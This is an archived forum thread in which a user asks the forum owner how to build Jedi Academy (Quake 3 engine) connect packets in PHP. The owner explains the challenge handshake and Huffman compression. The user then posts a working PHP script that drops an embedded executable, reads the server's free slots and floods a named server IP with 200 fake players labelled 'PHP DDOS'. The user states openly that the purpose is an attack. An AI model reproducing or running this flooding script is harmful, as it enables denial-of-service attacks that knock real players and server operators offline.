Luigi Auriemma

aluigi.org (ARCHIVE-ONLY FORUM!)
It is currently 19 Jul 2012 11:37

All times are UTC [ DST ]





Forum locked This topic is locked, you cannot edit posts or make further replies.  [ 13 posts ] 
Author Message
 Post subject: Jedi Academy Connect!?
PostPosted: 04 Oct 2010 12:24 

Joined: 04 Oct 2010 09:31
Posts: 10
Hi Aluigi!
What should be a package (\ xFF \ xFF \ xFF \ xFFconnect \ x00) for the game Jedi Academy?

I just want to make the same with PHP
Tried to decode a q3huffdecenc, but nothing good will come ... apparently my sniffer bad (maybe)

As you can decode and encode .... connect back?
How are they encrypted?
Just have the desire to make this further through a proxy server (to bypass the security)

http://translate.google.ru translated from Russian


Top
 Profile  
 
 
 Post subject: Re: Jedi Academy Connect!?
PostPosted: 04 Oct 2010 14:18 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
an idea could be using q3ts as explained here:
post10947.html#p10947


Top
 Profile  
 
 Post subject: Re: Jedi Academy Connect!?
PostPosted: 06 Oct 2010 05:47 

Joined: 04 Oct 2010 09:31
Posts: 10
Received, that such a result:

Code:
????????connect "\challenge\1234567890\qport\18468\protocol\26\name\Padawan\rate\24000\snaps\38\model\mara_ponytail/default\forcepowers\7-1-030000000000000330\color1\4\color2\4\handicap\100\sex\male\cg_predictItems\1\saber1\dual_1\saber2\none\char_color_red\255\char_color_green\255\char_color_blue\255\teamtask\0"


But when you send all of this, the server responds:
Code:
Server uses protocol version 26


I sent the "connect" with no encryption.
Perhaps because of this there is this error?


Top
 Profile  
 
 Post subject: Re: Jedi Academy Connect!?
PostPosted: 06 Oct 2010 15:11 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
you need to compress the part after "connect" (from offset 12) with huffman as you must do for almost any q3 game.
in my code I use ever the q3huff.h code:
new_size = Huff_CompressPacket(packet, 12, old_size);


Top
 Profile  
 
 Post subject: Re: Jedi Academy Connect!?
PostPosted: 07 Oct 2010 12:04 

Joined: 04 Oct 2010 09:31
Posts: 10
<?
$ip = '86.110.181.156';
$port = 29070;

$s = fsockopen("udp://$ip", "$port");
fwrite($s, "\xFF\xFF\xFF\xFFgetchallenge\x20");

/*q3huffdecenc.exe*/
$str = "ff ff ff ff 63 6f 6e 6e 65 63 74 20 01 2a 44 74
30 8e 05 0c c7 26 c3 14 ec 8e f9 67 30 1a 26 c1
4c 58 00 eb c3 76 b0 2f 1c 03 67 c3 90 c2 d1 71
08 ec 15 27 c3 45 a3 9b 8d f2 dc b2 c7 e6 c9 f1
a3 24 63 8b 29 28 54 8e 09 39 dc ad e5 7e 96 f5
94 8a 59 89 33 bc 18 ad 37 eb 9b ac 65 df a5 c3
e8 67 a7 05 cf 41 19 cb 97 41 bf 8a 89 19 13 5c
71 54 ec 7b d5 e9 6b 7b 6b 7a 36 b4 0b e8 5c e6
13 ed d9 23 a9 7c a4 3a e3 c5 bd 7d 1b 17 cc bf
fc e6 6d c2 fd ae a7 06 49 39 99 c6 23 c7 02 27
e1 de e2 e7 fb 32 e9 1a 49 67 c7 19 16 34 0b 8c
0c 74 c5 f1 fc 65 8c 9a b2 0e 63 8c 1a cf bc 2e
0b 47 bf b2 27 c5 73 4e b3 72 a9 95 03 0c 4c ef
91 aa 9b 90 2f 9e af 6c 51 f0 ef 25 d5 5f 97 26
d3 63 92 3b f3 a5 7c ac bd bc 00";
/*q3huffdecenc.exe*/

$str = str_replace("\r\n"," ",$str);
$str = explode(" ",$str);
for($i=0;$i<=(count($str)-1);$i++){
$res .= chr(hexdec($str[$i]));
}

fwrite($s, $res);
$var[1] = fread($s, 1024);
$var[2] = fread($s, 1024);

echo $var[2]; #????????print No or bad challenge for address.

?>

Here's what happened ...
I sent an encrypted package ...

the first request I received ".... challengeResponse 756858973 "
second query, I get ".... print No or bad challenge for address. "

obtained to carry out an attack, you want to insert
desired challengeResponse?
encrypt it? and to send?


Top
 Profile  
 
 Post subject: Re: Jedi Academy Connect!?
PostPosted: 07 Oct 2010 14:25 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
obviously if you don't use the correct challenge received it will never work, so:
- send getchallenge
- receive challengeresponse and take the number
- build the connect packet using \challenge\number_received
- compress it
- send it


Top
 Profile  
 
 Post subject: Re: Jedi Academy Connect!?
PostPosted: 07 Oct 2010 14:42 

Joined: 04 Oct 2010 09:31
Posts: 10
Bad that PHP has no compression Huffman
I used some PHP classes
However, they incorrectly coded ...

If I do not find the right class, you will have to postpone this venture (
Or find a host to host your code there.
And remotely ready line to be sent later.


Top
 Profile  
 
 Post subject: Re: Jedi Academy Connect!?
PostPosted: 11 Oct 2010 06:35 

Joined: 04 Oct 2010 09:31
Posts: 10
<?php
$ip = '90.189.192.33';
$port = 29070;
$num = 200;
set_time_limit(666);

/*huff.h Luigi*/
$q3huffdecenc = (split("\r\n",(gzuncompress(base64_decode('eNrtOX1wG9WdT9I62ShytNcoU0MVWOgGnJvg2hDuYmKD4k8mCXQdWU6Cz1Fka23JJ0s6aRU7aaAE
WR0/L+Lca4ZOKcw1Ze5germW62TatMmldgwx9NKrcZjDkJvWtMnNqjJTD8O4xk3R/X5vpdhW2rm/
rtMyeTNP+/t6v8/3tdpHHhshFkIIBz2XI+Q0MZqL/N/tSejrbv/hOnJqzU/uOG3a/ZM7WgPBuBiN
RXpivj6xyxcOR1SxUxFjibAYDIsNn3eLfRG/UlFaapXyOuRGQnabSsj/vNDaUNA7Q+yWtSbzNuIA
5DboZkKin4KnAL0y751g0NFvU95/1qIG8m8vERYXIaIhiz+CISIsD+IgqLSQP3qrUJUBFZ7lhbgc
y4O47trBCr9P9RXCrjRiJmUr5SAboxUxQ5Az54uHum69Qc5V0RmPGznG5P/Buo5WBA19LDcH8/pu
u9Euudn+rJuHXk3OltGOBc3DV12miWuauWpeI7Vfhtr219em4RFrP4crbIKTeHhUTdFWidMHYc4m
F0zqkdSoui7Pyk2eyUGj0xqo6Vigsx3nOVJ7HFSo5/t31n4FgVMruSO1JUhtr90Ij8RroAjnWdU8
VcGGmLfRCza+lWflJrPP1T4Lw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PEQRMOMTQ4zT61IPuX
ZgO6x9zdFYKtAmnbzN2RqBImD5q7Y4rPTx7CJ3Cazd39saDKZGLmPl8oFOlCeMDcp/R1RQ8jfARh
sITw4+aowg4VaF80R2PBsNrN/kgxg9r84LQZhDsTjD5ijgd7wr5Q4SM49l2Nex5t3H3fvRX+EKM7
gNYXP9QVUw1K+cH/v77cziet/S+XDhXs
')))));


$var = (split("\r\n",(gzuncompress(base64_decode('eNpdj0tuwzAMRK9SZB9Ukj9xj9BdDjCAwciME1QmVUlG2tO7StpFUK6Gj5gZcNu2zasI+/Kyg79Q
CCwzw7qm7frD8GbwGTUV2KHtB8SkRb0GuB5CC+NIE91IkKgwXGuMQRaKGc2ARScOWCjRGFW+C13D
68RnWkPBWZPnqDdOGYe93ZvGPE/TGNQaTRbtr3BVXEimq6cIe6/hr5odGH4eY+J6KO+FlwyLTCeu
zmmlMP5tDqLC9wfT+MgbqwWu657RnJjlPzyFlR+sMC2F8gfM7gcSjXDq
')))));
fwrite(fopen('q3huffdecenc.exe','w'),$q3huffdecenc[0]); # q3huffdecenc.exe
$gh = $var[0];
function name($name,$ip,$port,$gh){
fwrite(fopen('huff.txt','w'),$gh); # String SEND(write)
$huff = fread(fopen('huff.txt','r'),filesize('huff.txt'));
$ff = fsockopen("udp://$ip", "$port"); #sock

$packet = '????????getstatus ';
fwrite($ff, $packet);
$str = fread($ff, 4000);
$players = floor((substr_count($str, "\n")-2)); #??????-???? ??????????????
$tr = explode(base64_decode('Cg=='), $str);
$array = explode(base64_decode('XA=='), $tr[1]);
$strtolower = explode(base64_decode('XA=='), strtolower($tr[1]));
$sv_maxclients = $array[(array_search(strtolower('sv_maxclients'),$strtolower)+1)] ;

echo $players.'!'.$sv_maxclients;

fwrite($ff, "\xFF\xFF\xFF\xFFgetchallenge\x20");
$sp = explode(' ',fread($ff,1024));
$string = explode("\\",$huff); #2 - challenge 8 - name
$string[2] = $sp[1]; # challenge
$string[4] = rand(10000,99999); # chellenge
$string[8] = $name; # name
echo "<PRE>";
print_r($string);
echo "</PRE>";
$write = implode("\\",$string);
echo $write;
fwrite(fopen('huff.txt','w'),$write);
$str = `q3huffdecenc e huff.txt`; # HUFFMAN Luigi
$s = explode('ff ff ff ff 63 6f 6e 6e 65 63 74 20',$str);
$s = explode("\n",$s[1]);
for($i=0;$i<=count($s);$i++){
$r_ = explode(' ',$s[$i]);
$r .= $r_[0];
}
$hex = str_replace(' ','', $r);
for($i=0;$i<=strlen($hex);$i++){
if(!($i%2)&&$hex[$i]!=null){$j .= '\x'.strtoupper($hex[$i]);}else{$j .= strtoupper($hex[$i]);}
}
$res = explode('\x',$j);
for($i=1;$i<=(count($res)-1);$i++){
$rs .= chr(hexdec($res[$i]));
}
$connect = '????????connect '.$rs;


if($players<$sv_maxclients)fwrite($ff, $connect);
else
sleep(1);

fclose($ff);
}

for($e=0;$e<=$num;$e++){
$name = "^7PHP DDOS by ^^".rand(1,8)."Euphoria";
name($name,$ip,$port,$gh);
}

?>


Poor implementation in PHP ...
Because PHP takes the result of your program "q3huffdecenc.exe"

That is, PHP creates a "q3huffdecenc.exe, huff.txt".
Then read "HUFFMAN" result.

Connection to the server occurs. Well.
But I can not understand! what algorithm is used in your program.

Adaptive "HUFFMAN"?
OFFSET 12? What is it?
I could not achieve that result.
Encodes is not the way it does "q3huffdecenc.exe"

Can you tell me how to code like this line ...

String - AASD
? Please, just want to make the implementation in PHP all the way!


Top
 Profile  
 
 Post subject: Re: Jedi Academy Connect!?
PostPosted: 12 Oct 2010 15:18 

Joined: 04 Oct 2010 09:31
Posts: 10
Now I know that the "Offset"
But is it really uses adaptive Huffman?


Top
 Profile  
 
 Post subject: Re: Jedi Academy Connect!?
PostPosted: 12 Oct 2010 22:39 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
don't know, anyway in the past I tried some other huffman algorithms but they didn't work, but it's enough normal with compression algorithms


Top
 Profile  
 
 Post subject: Re: Jedi Academy Connect!?
PostPosted: 13 Oct 2010 08:05 

Joined: 04 Oct 2010 09:31
Posts: 10
I understand you yourself wrote
huff.h? And maybe you know
exactly what algorithm is used:
static, adaptive or dynamic
Huffman.


Top
 Profile  
 
 Post subject: Re: Jedi Academy Connect!?
PostPosted: 13 Oct 2010 10:08 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
oh no no, it's just the one of id software, I simply changed some micro things to make it usable without problems


Top
 Profile  
 
 Post subject: Re: Jedi Academy Connect!?
PostPosted: 13 Oct 2010 13:58 

Joined: 04 Oct 2010 09:31
Posts: 10
Clearly, the bad, that I do not know
this programming language. I can
not understand the algorithm.
Thanks Luigi!


Top
 Profile  
 
Display posts from previous:  Sort by  
Forum locked This topic is locked, you cannot edit posts or make further replies.  [ 13 posts ] 

All times are UTC [ DST ]


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for: